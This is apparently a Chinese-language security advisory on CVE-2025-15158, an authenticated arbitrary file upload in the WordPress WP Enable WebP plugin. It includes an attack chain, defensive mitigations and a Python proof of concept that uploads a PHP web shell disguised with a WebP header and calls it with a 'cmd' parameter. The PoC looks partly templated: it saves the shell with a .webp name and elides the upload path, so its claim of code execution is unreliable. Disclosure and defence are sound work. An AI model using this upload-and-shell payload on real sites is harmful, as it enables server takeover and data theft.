IPBUF安全漏洞报告
English
CVE-2025-15158 CVSS 8.8 高危

CVE-2025-15158: WordPress WP Enable WebP插件任意文件上传漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-15158
漏洞类型
任意文件上传/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP Enable WebP plugin for WordPress

相关标签

任意文件上传远程代码执行WordPress插件漏洞CVE-2025-15158WP Enable WebP身份认证绕过高危漏洞WebP格式PHP代码执行

漏洞概述

CVE-2025-15158是WordPress平台下WP Enable WebP插件的一个高危安全漏洞。该插件旨在为WordPress网站启用WebP格式图片支持,但在实现过程中存在严重的安全缺陷。漏洞根源在于插件的wpse_file_and_ext_webp函数对文件类型的验证不充分,允许经过身份认证的攻击者(拥有Author级别或更高权限的用户)上传任意类型的文件到服务器。这一安全漏洞使得攻击者可以绕过WordPress原本严格的媒体上传限制,上传恶意文件(如PHP脚本文件),从而在服务器上实现远程代码执行,最终完全控制受影响的网站。由于WordPress的广泛使用以及该插件的普及性,此漏洞对大量网站构成严重威胁。攻击者利用此漏洞无需任何用户交互即可完成攻击,且可通过网络远程发起攻击,具有较高的实际利用价值。

技术细节

该漏洞发生在WP Enable WebP插件的wpse_file_and_ext_webp函数中(第43行附近)。该函数本应验证用户上传的文件是否为合法的WebP图片,但由于缺少严格的MIME类型检查和文件内容验证,攻击者可以构造恶意请求上传任意文件。攻击者只需拥有一个Author级别的WordPress账户,即可通过WordPress的媒体上传功能上传伪装成WebP文件的PHP脚本。服务器在接收文件后,由于插件的错误配置,可能会将这些文件存储在可访问的目录中。一旦恶意PHP文件被成功上传,攻击者只需通过HTTP请求访问该文件,即可在服务器上执行任意PHP代码,从而实现远程代码执行。攻击者可以利用此权限进一步窃取敏感数据、植入后门或完全接管服务器。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用的WordPress版本及是否安装WP Enable WebP插件(版本<=1.0)
STEP 2
获取访问权限
攻击者获取WordPress网站的Author级别或更高权限账户凭据
STEP 3
构造恶意文件
攻击者构造包含PHP代码的恶意文件,通常在文件头部添加WebP文件头(RIFF...WEBP)以绕过基本验证
STEP 4
上传恶意文件
通过WordPress媒体上传功能或插件相关接口上传恶意文件,利用wpse_file_and_ext_webp函数的不当验证
STEP 5
触发代码执行
攻击者通过HTTP请求直接访问上传的恶意PHP文件,在服务器上执行任意代码
STEP 6
持久化控制
攻击者利用获得的服务器权限植入后门、窃取数据或完全控制网站服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15158 PoC - WP Enable WebP Arbitrary File Upload # Target: WordPress site with WP Enable WebP plugin <= 1.0 target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' username = 'author' # Author-level user password = 'password' # Create malicious PHP file disguised as WebP php_payload = "<?php system($_GET['cmd']); ?>" webp_header = b'RIFF\x00\x00\x00\x00WEBPVP8 ' malicious_file = webp_header + php_payload.encode() # Login to WordPress session = requests.Session() login_url = f"{target}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } session.post(login_url, data=login_data) # Upload malicious file via WordPress media upload upload_url = f"{target}/wp-admin/async-upload.php" files = {'file': ('malicious.webp', malicious_file, 'image/webp')} response = session.post(upload_url, files=files) if response.status_code == 200: print('[+] File uploaded successfully!') print('[+] Access the file at:', f"{target}/wp-content/uploads/...malicious.webp?cmd=whoami") else: print('[-] Upload failed')

影响范围

WP Enable WebP plugin <= 1.0 (所有版本)

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)立即禁用并删除WP Enable WebP插件;2)审查所有具有上传权限的用户账户,撤销不必要的上传权限;3)在wp-content/uploads目录中创建.htaccess文件,禁用PHP文件执行;4)限制仅允许上传特定文件类型(如jpg、png、gif),阻止.php、.phtml等危险文件类型;5)启用WordPress的登录失败锁定机制,防止凭据暴力破解;6)使用WordPress安全插件监控异常文件上传行为;7)考虑使用Web应用防火墙过滤恶意上传请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表